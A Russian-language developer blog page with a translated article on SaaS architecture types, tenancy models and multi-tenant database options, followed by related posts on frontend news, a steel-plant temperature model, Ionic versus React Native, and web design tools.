Category: Инструменты

31
Авг
2022

☁️ Архитектура SaaS: типы, ключевые компоненты и модели аренды

Решили перейти на SaaS, но еще не определились с нужной архитектурой? Из этой статьи вы узнаете о типах SaaS, моделях аренды и решите, что лучше всего подходит для вашего проекта.

Данная статья является переводом. Оригинал доступен по ссылке.

Внедрение SaaS резко возросло: организации и предприятия переносят свои бизнес-приложения в облако и внедряют услуги на основе подписки. Возьмем, к примеру, Microsoft.

Они были одними из первых, кто перешел на моделирование облака подписки Microsoft Office 365. Это позволило им решить проблемы с пиратством, с которыми они сталкивались на протяжении многих лет, увеличить доход, чаще выпускать обновления и быстро решать проблемы клиентов, связанные с использованием.

Все эти преимущества связаны с гибкой архитектурой SaaS, которая позволяет предприятиям применять целостный подход для удовлетворения требований своих клиентов. Помня об этом, давайте продвинемся немного вперед и узнаем больше о SaaS, типах архитектуры и некоторых преимуществах, которые оно может предложить для вашего проекта.

Что такое SaaS?

Программное обеспечение как услуга (Software-as-a-Service) — это веб-приложение, которое предоставляется конечным пользователям через интернет. Вместо установки и обслуживания программного обеспечения на устройстве, SaaS предлагает модель на основе подписки, где пользователи могут легко получить доступ ко всему приложению и его ИТ-инфраструктуре. Поставщики SaaS поддерживают серверы приложений, слои базы данных и кодовую базу, которые и составляют все приложение.

Благодаря гибкому характеру модели, предприятия по всему миру используют в среднем 80 приложений SaaS. Среди них 21 настраиваемое приложение SaaS. Пользователи SaaS не несут дополнительной ответственности за обслуживание приложения и сообщают, что эта форма приложения сочетает в себе безопасность и производительность. А поскольку «гибкое рабочее место» становится новой нормой, сотрудники предпочитают облачные решения, обеспечивающие более легкий доступ.

Ключевые компоненты SaaS

Основные компоненты приложения отличают один тип приложения от другого. Вот некоторые из основных компонентов, которые должны быть в каждом приложении SaaS.

  • Уникальная инфраструктура. Одним из преимуществ использования архитектуры SaaS является настраиваемая инфраструктура, которую можно расширять или сужать в зависимости от бизнес-требований. Например, клиенты могут решить, какие компоненты принесут пользу их бизнесу, и могут платить только тогда, когда это необходимо. По истечении оплаченного периода клиенты вернутся к своей предыдущей модели инфраструктуры. Пользователи SaaS покупают свое программное обеспечение в биллинговой системе ежемесячно или ежегодно. Их требования могут увеличиваться или уменьшаться в зависимости от их бизнес-требований и потребительского спроса. Поэтому наличие настраиваемой инфраструктуры является обязательным.
  • Тарифная модель на основе подписки. Суть приложения SaaS заключается в высокой доступности программного обеспечения как услуги. Эта услуга расширена за счет гибкого цикла выставления счетов, который позволяет клиентам и бизнес-пользователям в полной мере использовать все, что они хотят, и столько, сколько они хотят.
  • CRM-система. Система управления взаимоотношениями с клиентами — это то, что отличает приложение SaaS от других приложений. Поскольку SaaS предлагает общую платформу для нескольких арендаторов, ему требуется единый репозиторий для нескольких учетных записей клиентов и сведений об их учетных записях для целей управления.
  • Автоматическая подготовка. Автоматическая подготовка приложения SaaS позволяет упростить процесс адаптации клиента к организации предоставления услуг облачного приложения. Автоматизация повышает эффективность работы независимых поставщиков программного обеспечения (ISV), поскольку необходимые обновления, связанные с инфраструктурой, быстро доставляются подписчикам. Более того, это избавляет от необходимости управлять графиками выпуска внедрений, исправлений или обновлений.
  • Поддержка и аналитика. Модуль поддержки клиентов и аналитики приложения SaaS предоставляет набор инструментов для управления платформой и проверки показателей. Это позволяет поставщикам SaaS соответствовать ожиданиям клиентов, бизнес-поставщики могут улучшить качество обслуживания клиентов и удовлетворить требования рынка.
Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека программиста»

Типы архитектуры для приложений SaaS

Рост и популярность приложений SaaS кажутся неизменными. Даже во время физических ограничений пандемии именно приложения SaaS позволяли предприятиям и их сотрудникам работать удаленно. Фактически, IDC сообщила, что пандемия не повлияла на 22,5% расходов организаций на SaaS, в то время как более 30% глобальных организаций увеличили свои расходы на SaaS в среднем на 10-20%.

Так что же делает приложения SaaS такими уникальными? Ответ на этот вопрос кроется в его ядре — архитектуре. Архитектура SaaS уникальна. Однако его можно разделить на категории в зависимости от отрасли, категории программного обеспечения или модели аренды.

Вертикальная SaaS

Вертикальная SaaS — это разновидность архитектуры SaaS, созданная для конкретных отраслевых вертикалей. Эти отрасли включают здравоохранение, недвижимость, сельское хозяйство, финансы, логистику, розничную торговлю и многие другие. В отчете Fractal State of Vertical SaaS 2021 сообщается, что вертикальный SaaS вырос на 28% с 2020 года.

Хотя может показаться, что это более узкий подход к созданию приложений SaaS, он удовлетворяет более широкие потребности отдельной отрасли. Предложение различных функций и услуг для одной отрасли представляется более выгодным, чем предоставление одной функции, поскольку учреждение или организация могут зависеть от одного приложения. Хотя существует вероятность зависимости от поставщика, лица, принимающие решения, должны взвесить все «за» и «против» в зависимости от своих требований, бюджета и требований рынка.

<i>Источник: simform.com</i>
Источник: simform.com

Горизонтальная SaaS

Горизонтальные приложения SaaS больше сосредоточены на функциональности, чем на отраслевых требованиях. Этот тип архитектуры SaaS фокусируется на категории программного обеспечения, независимо от отрасли клиента. Например, приложения для маркетинга, продаж и связи используются во всех отраслях, и приложение SaaS, предлагающее эти функции, может соответствовать конкретным бизнес-требованиям.

Поскольку этот тип SaaS-приложений известен одной функциональностью или услугой, предприятия могут конкретизировать свои условия и выбирать приложение, которое им больше всего нужно. Но, с другой стороны, это также означает, что одни и те же предприятия будут вынуждены инвестировать в несколько приложений SaaS для удовлетворения своих потребностей.

<i>Источник: simform.com</i>
Источник: simform.com

Модели аренды SaaS на основе совместного использования компонентов

Модели аренды основаны на фундаментальных компонентах приложения SaaS — арендаторах. Каждый клиент, использующий платформу SaaS, считается арендатором и получает права доступа, оплачивая подписку.

Обратите внимание, что ваша модель аренды не влияет на производительность вашего приложения. Вместо этого, он должен удовлетворять потребности потребителей, предоставлять разработчикам гибкие решения, устанавливать стоимость и поддерживать операционные сложности.

Однопользовательская архитектура

Архитектура с одним арендатором обслуживает одного клиента, который платит за эту программную услугу. Это означает, что арендатор получает свой выделенный экземпляр программного обеспечения, единую инфраструктуру, сервер и базу данных. Эта архитектура очень выгодна для покупателей, поскольку им не нужно делиться ресурсами базы данных с другими клиентами. Более того, покупатели могут даже настраивать программное обеспечение в соответствии с потребностями своего проекта и масштабировать его в любое время.

<i>Источник: simform.com</i>
Источник: simform.com

Например, Oracle Cloud — это SaaS, в котором используется архитектура с одним арендатором для предоставления среды частного облака SaaS. Гигант облачных услуг размещает отдельные подразделения с изолированными ресурсами и детальным контролем доступа. Это позволяет клиентам иметь другую версию одного и того же продукта SaaS и даже предоставляет доступ к настройке приложения в соответствии с потребностями проекта.

Многопользовательская архитектура

В тот момент, когда мы говорим о SaaS, многие просто предполагают, что базовая архитектура является многопользовательской. Ну, это неправда!

<i>Источник: simform.com</i>
Источник: simform.com

Многопользовательская архитектура является одним из наиболее предпочтительных типов архитектуры при разработке приложения SaaS из-за ее основных характеристик. По определению каждый отдельный экземпляр этой модели SaaS обслуживает более одного арендатора. Это означает, что все клиенты совместно используют общую базу данных и информацию о приложениях, за исключением того, что данные каждого арендатора защищены.

Google Workspace, также ранее известный как G Suite, является прекрасным примером многопользовательской архитектуры SaaS. Несколько арендаторов имеют доступ к одному приложению через интернет. Арендаторы используют общую базу данных Google Cloud для доступа к своим бесплатным 15 Гб данных. Но в то время, как ресурсы являются общими, вся личная информация клиентов защищена и хранится отдельно для обеспечения высочайшего уровня конфиденциальности и безопасности данных.

Смешанная архитектура

В отличие от одного или нескольких арендаторов, где определены границы и функциональные возможности, смешанный арендатор немного отличается.

<i>Источник: simform.com</i>
Источник: simform.com

Представьте ситуацию, когда арендатор использует ресурсы общей инфраструктуры. Но конкретные бизнес-требования вынуждают их иметь один или два выделенных компонента. Это может быть база данных, экземпляры или какая-либо другая комбинация компонентов при использовании общей инфраструктуры. Вот тут-то и появляется смешанная архитектура.

В рамках этой модели одна или две части приложения предназначены для каждого арендатора, а остальные компоненты являются общими для всех арендаторов.

Модели многопользовательской архитектуры

Нет никаких сомнений в том, что многопользовательская архитектура является популярным выбором архитектуры, когда кто-то думает о программном обеспечении как об услуге. Почему бы и нет?

  • Это экономичная архитектура, обеспечивающая большую гибкость настройки.
  • Отличное первое впечатление для новых клиентов.
  • «Консистенцию» легко поддерживать.
  • Предоставляет удобное решение по использованию ресурсов и многое другое.

Если вы дочитали до этого места, то должны помнить, что я упоминал ранее, что ваша модель аренды не влияет на производительность приложения, но помогает поддерживать операционные сложности. Дело вот в чем...

Если вы собираетесь выбрать многопользовательскую архитектуру для своей SaaS, при ее разработке вам придется учитывать четыре модели доставки.

1. База данных на одного арендатора

Именно здесь вы, должно быть, подумали: «Если бы мы проектировали архитектуру с одной базой данных на каждого арендатора, тогда архитектура с одним арендатором была бы лучше».

Не торопитесь.

В этой модели арендатор получает собственную базу данных, однако эти базы данных в одних и тех же группах ресурсов делятся на гибкие пулы. Это означает, что поставщики SaaS могут перемещать базы данных между этими пулами для лучшего распределения ресурсов и оптимизации. С помощью этой модели поставщики могут получить преимущество масштабирования своих уровней приложений по вертикали или по горизонтали.

2. Единая многопользовательская база данных

Подобно архитектуре с несколькими арендаторами, эта модель просто состоит из нескольких столбцов идентификаторов арендаторов в базе данных. Таким образом, помимо базы данных, ресурсы хранения и вычислений являются общими для всех пользователей.

Если вы выберете эту модель, имейте в виду, что хотя она и снижает стоимость на одного арендатора, это может повлиять на производительность службы для других арендаторов. Например, если во время рабочей нагрузки на одного арендатора потребляется слишком много ресурсов хранения и вычислительных ресурсов, то производительность других арендаторов резко снизится.

3. Общая многопользовательская база данных

Разделение базы данных всегда было обычной практикой для создания эффективного приложения для повышения операционной эффективности и производительности. С ростом рабочей нагрузки на многопользовательскую базу данных сегментирование разделяет данные арендатора и сохраняет их в нескольких базах данных. Кроме того, одни и те же сегментированные базы данных можно перемещать в гибкие пулы для улучшения оперативного управления и масштабируемости.

4. Гибридная сегментированная многопользовательская база данных

Гибридную сегментированную многопользовательскую базу данных можно определить как модель, в которой поставщик имеет возможность перемещать арендаторов или группу арендаторов в выделенные или сегментированные базы данных. Подобно сегментированной базе данных в многопользовательской архитектуре, гибридная модель гарантирует, что группы арендаторов получат необходимый (но отличный друг от друга) доступ к ресурсам.

Например, поставщик может предоставить бесплатные пробные версии с ограниченным доступом к ресурсам, в то время как премиум-подписчики могут иметь полный доступ к приложению. Вот тогда и пригодится модель. Клиенты пробной версии могут быть перемещены в сегментированные базы данных с ограниченными ресурсами, а владельцы премиум-класса могут иметь полный доступ к выделенной базе данных.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека devops’а»

Почему стоит выбрать архитектуру SaaS?

Опрос показал, что приложения SaaS составляют 70% от общего использования программного обеспечения в компании. Это означает, что популярность SaaS растет, и спрос на них сохранится надолго. Но, помимо этого, почему предприятия и клиенты отдают SaaS предпочтение?

Давайте рассмотрим некоторые преимущества, которые вы можете ожидать от SaaS:

Преимущества для клиентов SaaS:

  1. Предлагает надежные цифровые услуги через интернет.
  2. Обеспечивает определенную степень гибкости для настройки и обслуживания.
  3. Гибкая политика выставления счетов и подписок.
  4. Выгодные программные услуги по сравнению с обычными лицензиями на программное обеспечение.
  5. Позволяет клиентам активировать или отключать услуги по своему усмотрению.

Преимущества SaaS для бизнеса:

  1. Предлагает масштабируемые услуги для глобальной клиентской базы.
  2. Устраняет затраты на техническое обслуживание и испытания.
  3. Поставщики быстро выпускают обновления.
  4. Сокращает время вывода продукта на рынок.
  5. Общедоступное облако снижает затраты на обслуживание и инфраструктуру.

Как выбрать архитектуру SaaS

Достижение максимальных бизнес-целей всегда было первоочередной задачей для предприятий и организаций во всем мире. Это универсальное мнение, и, по-видимому, SaaS считается наиболее важным программным обеспечением для достижения этих целей.

Но если вы решите выбрать «Программное обеспечение как услугу» в качестве основной архитектуры, вот несколько вопросов, которые вы должны задать себе, прежде чем выбрать подходящую архитектурную модель:

  • За какие услуги должны платить клиенты?
  • Будут ли все ваши клиенты использовать общую базу данных и прикладное оборудование?
  • Вашим клиентам нужна другая база данных, но они могут использовать схожую архитектуру?
  • Ваши клиенты ищут изолированное приложение и базу данных в SaaS?
  • Нужны ли вашим клиентам ваши облачные сервисы?

Задавая эти вопросы при разработке архитектуры SaaS, вы сможете лучше понять, что на самом деле ищут ваши клиенты. Лучший способ сделать это — заполнить пробелы, которые есть у ваших клиентов, и вывести свой бизнес на рынок SaaS.

***

Материалы по теме

16
Авг
2022

📰 Weekly #13: новости, подкасты, отборные статьи и обучающие материалы по фронтенду

В этом выпуске: Наталия Давыдова делится подробностями своей тяжелейшей карьеры с нуля до джуна и мидла во фронтенд-разработке; погружение в Bun – полный пересмотр экосистемы JavaScript; заметки о вертикальном и горизонтальном центрировании в CSS на примерах.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека фронтендера»

Angular

React

  • Разбор шаблонов проектирования группы Gang-of-Four с примерами на React.
  • Коллекция паттернов, антипаттернов, советов и полезных ресурсов для React-разработчиков.

JavaScript, CSS и HTML

  • Онлайн-калькулятор Fluid Type Scale.
  • Если для тега img не указана высота, браузеры используют нулевую высоту до тех пор, пока не начнут загружать изображение. Затем размер изменяется, и другой контент перемещается по странице. В статье рассматриваются два разных способа предотвращения этой проблемы.
  • Погружение в Bun: полный пересмотр экосистемы JavaScript.
  • Подробный разбор механизмов работы движков JavaScript: Часть 1: парсинг, Часть 2: генерация кода и базовые оптимизации.
  • Базовое понимание принципа Eventloop в рамках браузерного окружения и движка V8.
  • Разбираемся с использованием расширения CSS Scan, которое упрощает копирование стилей и разметки любого элемента на веб-сайте.
  • Два доклада Алексея Мигуцкого об архитектуре JavaScript-проектов на примере Microsoft To-Do: Как Microsoft To-Do использует React. JS Fest 2018
  • Разбор полетов: Microsoft To-Do. HolyJS 2022.
  • create-tw — CLI-инструмент, который значительно упрощает процесс создания проектов, ориентированных на TailwindCSS.
  • Знаете ли вы, что псевдокласс :focus-visible разрабатывался 7 лет? Если хотите вникнуть более подробно, здесь есть расшифровка недавнего подкаста от тех, кто непосредственно в этом участвовал. А здесь — краткое введение в псевдокласс.
  • Бесплатный мини-курс, который охватывает все особенности вёрстки с использованием CSS Flexbox.
  • Творческие примеры красивых анимированных границ элементов на CSS.
  • Подборка полезных бесплатных сервисов-генераторов CSS. Читать в Твиттере, Читать в Thread Reader App, если Твиттер недоступен.
  • Разбор реальных задач с собеседований на тему event loop в JavaScript.
  • Минимизация кода на JavaScript: не руководство к действию, а интересный обзор вроде «а что, так можно было?».
  • Заметки о вертикальном и горизонтальном центрировании в CSS на примерах.

TypeScript

  • TypeScript Mapped Types: подробный гайд по использованию связанных типов с анимированными примерами.

NodeJS

  • ni — инструмент, который автоматически определяет предпочтительный менеджер пакетов на основании lock-файла: npm, yarn, pnpm или bun.
  • Clinic.js — набор инструментов для диагностики и выявления проблем с производительностью проектов на Node.js.

Разное

  • На заметку разработчикам, которые имеют дело с видеоэффектами для веба.
  • Лидом можно стать в первый год работы, jQuery живее всех живых, а вопрос становиться фулстеком или оставаться фронтом расколол сообщество пополам. Под катом вы увидите результаты опроса фронтендеров с комментариями Максима Орехова, руководителя центра компетенций по разработке веб-приложений ПСБ.
  • Наталия Давыдова делится подробностями своей тяжелейшей карьеры с нуля до джуна и мидла во фронтенд-разработке. Вас ждут полезные советы, которые помогут избежать множества ошибок на старте карьеры.
  • Коллекция руководств, шпаргалок и других материалов по JavaScript, React, TypeScript, Node.js, Express, Prisma, GraphQL, Docker и множеству других технологий, связанных с разработкой веб-приложений. Автор — Игорь Агапов, JavaScript-разработчик из Timeweb Cloud.
  • 🎙Подкаст «Веб-стандарты»: Chrome DevTools, container и :has, random в CSS, CSS в npm, доки, VS Code, телефоны, SPA и MPA.
  • Изучаем Three.js на примере реализации старого доброго тетриса.
  • Обзор обновлений DevTools в Chrome 105: новость, которая заслуживает отдельный пост.
***

Предыдущие выпуски

28
Июл
2022

Неочевидно, но факт: 5 способов использовать метод reduce в JS

Метод Reduce сворачивает массив к одному значению. Рассказываем, какие есть неочевидные способы использовать reduce на JavaScript.
— Читать дальше «Неочевидно, но факт: 5 способов использовать метод reduce в JS»

22
Июл
2022

🔥 Вместо кофе — раскаленное железо, а вместо чашки — огромный ковш. Data Science на службе у сталеваров

Рассказ о том, как аналитическая подсистема, состоящая из двух математических моделей, снижает потребление электроэнергии и износ графитовых электродов, экономя сталеварам до полумиллиона рублей в месяц.

Передача расчета температуры нагревания металла от человека компьютеру

Вообразите себе кофейню, которая помимо обслуживания в зале
предлагает доставку на дом. При
этом у кофейни есть четкие стандарты касательно температуры кофе: эспрессо
должен быть нагрет строго до 80 °C, капучино — до 85 °C, а латте — до
83 °C и ни на градус больше или меньше. Добиться этого в помещении кофейни
легко — бариста готовит напиток нужной температуры и сразу же отдает
его
клиенту. Но что делать с доставкой? Разные маршруты, трафик на дорогах, погодные
условия — кофе в пути в любом случае остынет, а значит, курьеру его нужно
отдавать более горячим. А насколько?

Вообразили?

В металлургии даже воображать не нужно. Разве что вместо
кофе — раскаленное железо, а вместо чашки — огромный ковш, который в НЛМК доставляет
полупродукт от одного этапа к другому.


При этом задача остается та же. На машину непрерывной
разливки стали необходимо подавать металл строго определенной температуры — причем разной, в зависимости от
марки стали. Загвоздка в том, что путь от предыдущего этапа занимает время,
каждый раз разное — исходя из того, какой
сплав нужно получить в итоге,
масса должна пройти через несколько шагов. И на каждом из них металл остывает.

Поэтому мастера изначально нагревали металл на 20–30 °C больше, чем необходимо в итоге. Расчеты
производили по таблицам (в них указаны значения для разных марок стали) и
иногда оставляли небольшой запас — что называется, на глаз.

Проблема

Каждый дополнительный градус — это огромное
количество энергии (которое тратится на нагрев) плюс расход графитовых
электродов (нагревательных элементов). В конечном счете несовершенство процесса
выливается в увеличение себестоимости продукции.

Что делать?

Передать расчет температуры от человека компьютеру. Иными
словами, построить модель, которая сможет проанализировать множество параметров
и выдать оптимальную температуру. И внедрить эту модель в интерфейсы управления
процессом, с которыми работают сталевары.

Для этого было решено проанализировать собранные за 2 года
данные. В первую очередь необходимо было понять, какие именно параметры влияют на процесс, а какие — модель может не учитывать.
В итоговый список попали более 30 различных переменных, в том числе время,
которое ковш проводит в пути, марка стали, искомая температура, состояние ковша
(речь идет про футеровку
— внутреннее покрытие).

Часть данных уже была аккумулирована во внутренних системах
НЛМК в понятном цифровом виде. Остальное операторы вводили вручную — например,
число ручьев машины непрерывного литья заготовок (то есть количество полос
металла, которые получаются в итоге).

Как велась разработка?

Процесс разработки велся по гибкой методологии и был разбит
на 6 спринтов, по 2 недели каждый.

  1. Сбор датасета.
  2. Проектирование интерфейса и настройка подключения к источникам данных.
  3. Интеграция с цифровыми платформами НЛМК, создание интерфейса экрана сталевара и пользовательского мануала.
  4. Построение аналитического модуля, который рассчитывает возможные потери тепла и выдает искомое значение температуры.
  5. Подготовка спецификаций на полученное решение и интеграция с источниками.
  6. Оценка полученного экономического эффекта.

Тестирование модели также проводилось в несколько этапов. Сначала ее проверяли на уже имевшихся исторических данных — если бы она выдавала
значения, слишком далекие от тех, что выбрали мастера, пускать алгоритм в
работу было бы слишком рискованно (и даже опасно).

Затем к тестам подключили сталеваров. Система, исходя из
свежих данных, выдавала рекомендации по температуре, а мастера оценивали
адекватность полученных значений и давали обратную связь.

В конце модель подключили к интерфейсу экрана сталевара, и
мастера начали следовать ее рекомендациям, а аналитики оценивали эффективность
обновленного рабочего процесса. Иными словами, проверяли, снизились ли
потребление электроэнергии и износ электродов.

Как устроен сервис?

Сервис оптимизации расходов состоит из четырех подсистем.

Подсистема интеграции загружает данные из источников
и отвечает за обмен данными между всеми подсистемами. Работает на Apache Nifi и
Apache Kafka.

Аналитическая подсистема прогнозирует теплопотери и
оптимальную температуру, а также отвечает за дальнейшее обучение модели.

Подсистема хранения данных аккумулирует все данные,
которые участвуют в расчетах, а также данные, полученные в результате работы аналитической
подсистемы. Работает на СУБД PostgreSQL.

Подсистема визуализации отображает рекомендуемые
параметры и визуализирует основные индикаторы. Работает на React и TypeScript.

Аналитическая подсистема состоит из двух математических
моделей. Линейная регрессия определяет общую тенденцию потери тепла, а бустинг
помогает получить более точные данные.

Итоги

Если рассуждать в цифрах, то внедрение сервиса позволило
снизить среднюю температуру примерно на 2 °C — в денежном эквиваленте это
экономия примерно полумиллиона рублей в месяц. При этом дальнейшее обучение и
донастройка модели, по нашим расчетам, должны повысить эффективность сервиса в
2–2,5 раза.

Михаил Чмель, мастер электросталеплавильного цеха НЛМК-Калуга.

***
Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека data scientist’а»

30
Июн
2022

Подготовка окружения React-приложения: VSCode, Prettier, ESLint, Stylelint, Husky

Рассказываем, какие инструменты выбрать для подготовки окружения для React-приложения, и как их настроить.
— Читать дальше «Подготовка окружения React-приложения: VSCode, Prettier, ESLint, Stylelint, Husky»

30
Июн
2022

Подготовка окружения React-приложения: VSCode, Prettier, ESLint, Stylelint, Husky

Рассказываем, какие инструменты выбрать для подготовки окружения для React-приложения, и как их настроить.
— Читать дальше «Подготовка окружения React-приложения: VSCode, Prettier, ESLint, Stylelint, Husky»

29
Июн
2022

🧩 35 браузерных плагинов для Google Chrome в помощь разработчику

Ловите подборку расширений и плагинов для браузера, облегчающих жизнь программисту: ответы со StackOverflow в виде кода в топе выдаче Google, вызов, обнаружение и тестирование HTTP и REST API, анализатор UX, уменьшение потребления памяти Ch…

23
Июн
2022

📱 Ionic vs React Native: ключевые различия, о которых следует знать перед началом работы

Для разработки мобильных приложений требуется, чтобы оно работало на разных операционных системах и чтобы не переписывать код под отдельную операционную систему используют фреймворки.
В этой статье расскажем о двух таких фреймворках: Ionic и React Native.

Что такое кроссплатформенное создание приложений

Кроссплатформенное создание приложений – это способ создать приложение под все мобильные ОС.

Что такое Ionic

Ionic – это стартап Бена Сперри и Макса Линча, которые работали в разных стартапах, а потом основали компанию Drifty development company. Они предложили свое собственное решение – кроссплатформенный инструмент разработки, основанный на веб-технологиях.

Ionic встраивается в HTML, CSS, а последние версии фреймворка позволяют разработчикам использовать любой из фреймворков пользовательского интерфейса JavaScript: Angular, React или Vue.

Ionic на GitHub: github.com/ionic-team/ionic-framework

Преимущества Ionic

  1. Встроенные стили UI элементов. Их можно использовать прямо из фреймворка.
  2. Быстрый цикл разработки-тестирования. Код можно тестировать в браузере, не нужны эмуляторы смартфонов.
  3. Легко изучить. Требуются знания Angular, React или Vue, чтобы начать работать.
  4. Имеется сервисная поддержка.

Недостатки Ionic

  1. Ограничения производительности. Производительность приложений на Ionic ниже по сравнению с нативными приложениями.
  2. Разработчики утверждают, что каждая новая версия Ionic содержит ошибки. Но команда разработки не оставляет этот факт без внимания.
Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека мобильного разработчика»

Примеры приложений на Ionic

Untappd

Untappd – социальная сеть для более чем 4 миллионов любителей пива (GooglePaly, Github автора)

Скриншот приложения Untappd в GooglePlay
Скриншот приложения Untappd в GooglePlay

Marketwatch

Marketwatch – приложение для новостей и анализа рынка (AppStore, GooglePlay).

Основатели не афишируют себя.

Скриншот приложения MarketWatch в GooglePlay
Скриншот приложения MarketWatch в GooglePlay

Что такое React Native

React Native – это кроссплатформенная платформа разработки, которая позволяет создать приложение максимально приближенное к нативному, используя большую часть кодовой базы для разных платформ: Android и iOS. React Native – это продукт от Facebook*.

React native на GitHub github.com/facebook/react-native

Возможности React Native

  1. Использует JavaScript независимо от платформы. Кроме того, при необходимости вы можете использовать собственные модули в Objective-C, Swift, Java или Kotlin.
  2. Высокая производительность. Код работает на собственном API.
  3. Фреймворк предлагает готовые компоненты пользовательского интерфейса: кнопки, модули, ползунки. Это сокращает время, необходимое для разработки пользовательского интерфейса приложения.
  4. Позволяет вводить новые версии в запущенное приложение без потери текущего состояния.
  5. Бесплатное использование.

Недостатки React Native

  1. Более длительное время разработки. В отличии от Ionic, нужно создавать пользовательскую версию каждого экрана для каждой платформы.
  2. Поскольку время на разработку в React Native больше, могут потребоваться дополнительные инвестиции.
  3. В React Native можно использовать модули, написанные не только на JavaScript. Поэтому требуется поддержка специалистов по другим языкам. И в результате возрастает стоимость разработки. Но этим недостатком можно пренебречь, если использовать один язык программирования.
  4. Размер приложений на React Native больше, чем у приложений на Java или Kotlin.

Примеры приложений на React Native

Instagram**

Знаменитая социальная сеть с фотографиями, историями, личными сообщениями, рекламным кабинетом (AppStore, GooglePlay).

Скриншот приложения Instagram в GooglePlay
Скриншот приложения Instagram в GooglePlay
*, ** Продукт Meta, деятельность признана экстремистской, запрещена на территории России.

Bloomberg

Медиакомпания, которая поставляет информацию участникам финансового рынка (AppStore, GooglePlay).

Скриншот приложения Bloomberg в GooglePlay
Скриншот приложения Bloomberg в GooglePlay

Walmart

Американская сеть оптовой и розничной торговли (AppStore, GooglePlay).

Скриншот приложения Walmart в GooglePlay
Скриншот приложения Walmart в GooglePlay

Ionic vs React Native: ключевые различия

React Native Ionic
Стек технологий Обязательно владеть JavaScript и React.js Базовые знания HTML/CSS, JavaScript и любых доступных фреймворков: Angular, React или Vue
Обучение Если вы новичок в React, понадобится знать Java, Kotlin, Swift, Objective-C Достаточно базовых навыков
Возможность повторного использования кода Можно использовать для устройств Android и iOS. Но может потребоваться небольшой фрагмент кода, специфичного для конкретной платформы Можно использовать один и тот же код для любых платформ, устройств и операционных систем
Тестирование кода Тестирование проводится в эмуляторе Тестирование проводится в браузере
Визуализация Визуализация проводится в реальном времени Приложение обновляется после внесения изменений
Производительность Производительность приложения React Native максимально приближена к нативной Приложения, созданные с помощью Ionic, работают немного медленнее

Как выбрать фреймворк

Вам нужен React Native

  1. Если у вас уже есть веб-сайт на основе React, или ваша команда разработчиков хорошо разбирается в React.
  2. Если высокая производительность является для вас в приоритете.
  3. Если у вас достаточно времени и вы готовы вложить его в разработку приложения React.
  4. Если у вас есть ресурсы на труд разработчиков других языков.

Вам нужен Ionic

  1. Если вы планируете запустить стартап.
  2. Если вы сосредотачиваетесь на разработке MVP, чтобы собрать средства для будущего роста.
  3. Если для вас важно время для разработки.
  4. Ваш бюджет ограничен, и вы хотели бы минимизировать расходы, прежде чем ваш MVP привлечет инвестиции.
***

Материалы по теме

05
Июн
2022

🎨 100 лучших инструментов веб-дизайнера

Полезные ссылки для веб-дизайнера, которые пригодяться вам в работе и учебе: типографика, стоковые фото и графика, инфографика, инструменты для совместной работы, дизайна логотипа и прототипирования, редакторы графики и сайты для вдохновения.

Сто платных и бесплатных инструментов для веб-дизайнера, значительно упрощающих работу.

Содержание:

  • Типографика.
  • Стоковые фото.
  • Стоковая графика.
  • Инфографика.
  • Совместная работа.
  • Цвета.
  • Вдохновение.
  • Редакторы графики.
  • Дизайн логотипа.
  • Прототипирование.

Типографика


1. Fontspace – 93к бесплатных шрифтов.

2. Google Fonts – бесплатные высококачественные шрифты для своего веб-сайта.

3. Typekit – наборы премиальных шрифтов.

4. Fontstruct – создавайте свои собственные шрифты с нуля, пиксель за пикселем.

5. Typecast – создавайте визуальные и семантические дизайны, которые ставят шрифт на первое место.

6. Font Squirrel – база бесплатных шрифтов.

7. 1001 Fonts – библиотека шрифтов для личного и коммерческого использования.

8. What Font is – определитель шрифтов.

9. Typelight – редактор шрифтов.

10. Fontfabric – наборы бесплатных шрифтов.

Стоковые фото


1. Pixabay – просматривайте и загружайте высококачественные изображения (доступно через VPN).

2. Unsplash – стоковые изображения.

3. Stocksy – скачивайте красивые и оригинальные стоковые фотографии без лицензионных отчислений.

4. Pexels – лучшие бесплатные стоковые фотографии.

5. Gratisography – Райан Макгуайр делает тысячи изысканных снимков. Получите их все бесплатно.

6. Adobe Stock – идеальный ресурс для своего творческого проекта.

7. Zoommy – бесплатные стоковые фотографии из разных источников, собранные в одном настольном приложении.

8. New Old Stock – старинные фотографии из общедоступных архивов.

9. SplitShire – веб-дизайнер Даниэль Нанеску делится сотнями великолепных фотографий.

10. Death to the Stock Photo – получайте оригинальные фотографии по электронной почте каждый месяц.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека фронтендера»

Стоковая графика


1. Vecteezy – лучшее место для поиска векторных изображений.

2. The Noun Project – найдите простые черно-белые значки и глифы.

3. Flaticons – большая база иконок, созданная дизайнерами.

4. Roundicons – крутые наборы круглых иконок.

5. illustrio – настраиваемые значки и иллюстрации.

6. The ispot – покупайте красивые иллюстрации великих художников.

7. Webalys – Vincent le Moign создал одну из самых замечательных онлайн-библиотек иконок.

8. Iconfinder – мощный поисковик бесплатных иконок.

9. Brusheezy – бесплатные кисти Photoshop и файлы PSD.

10. Iconjar – приложение для хранения всех ваших значков в одном месте. Только для Mac.

Инфографика


1. Canva – удивительно простое графическое программное обеспечение для создания любого контента, который вам нужен (доступно через VPN).

2. Easel – выберите среди сотен шаблонов и создайте собственную инфографику.

3. Infogram – позволяет генерировать качественные диаграммы.

4. Visage – создавайте все виды визуального контента.

5. Vizualize – ваше резюме скучное? Превратите его в оригинальную инфографику.

6. Venngage – создавайте сотни инфографиков, постов в СМИ и отчетов с помощью этого простого инструмента.

7. Draw.io – полное средство для создания блок-схем, подходящее как для внутренних, так и для внешних проектов.

8. Piktochart – простой в использовании инструмент для создания инфографики, даже если вы не дизайнер.

9. Visme – превратите свои идеи в привлекательный контент с помощью этого мощного инструмента.

10. Gliffy – превосходный онлайн-инструмент для создания диаграмм (доступно через VPN).

Совместная работа


1. Invision – простой инструмент для создания прототипов и совместной работы для проектных групп.

2. GoVisually – один из лучших способов собрать отзывы клиентов о ваших проектах.

3. Red Pen – самый быстрый инструмент обратной связи.

4. Mural – инструмент для совместной работы дизайнеров и разработчиков.

5. Asana – делитесь, просматривайте и обсуждайте проекты в своей команде

6. Design Drop – делайте пометки на изображениях и делитесь ими с коллегами.

7. Cage – панель инструментов для совместной работы с командами и клиентами.

8. Bounce – веселый и простой способ поделиться идеями на любом веб-сайте.

9. Proofhub – эффективно управляйте своими проектами.

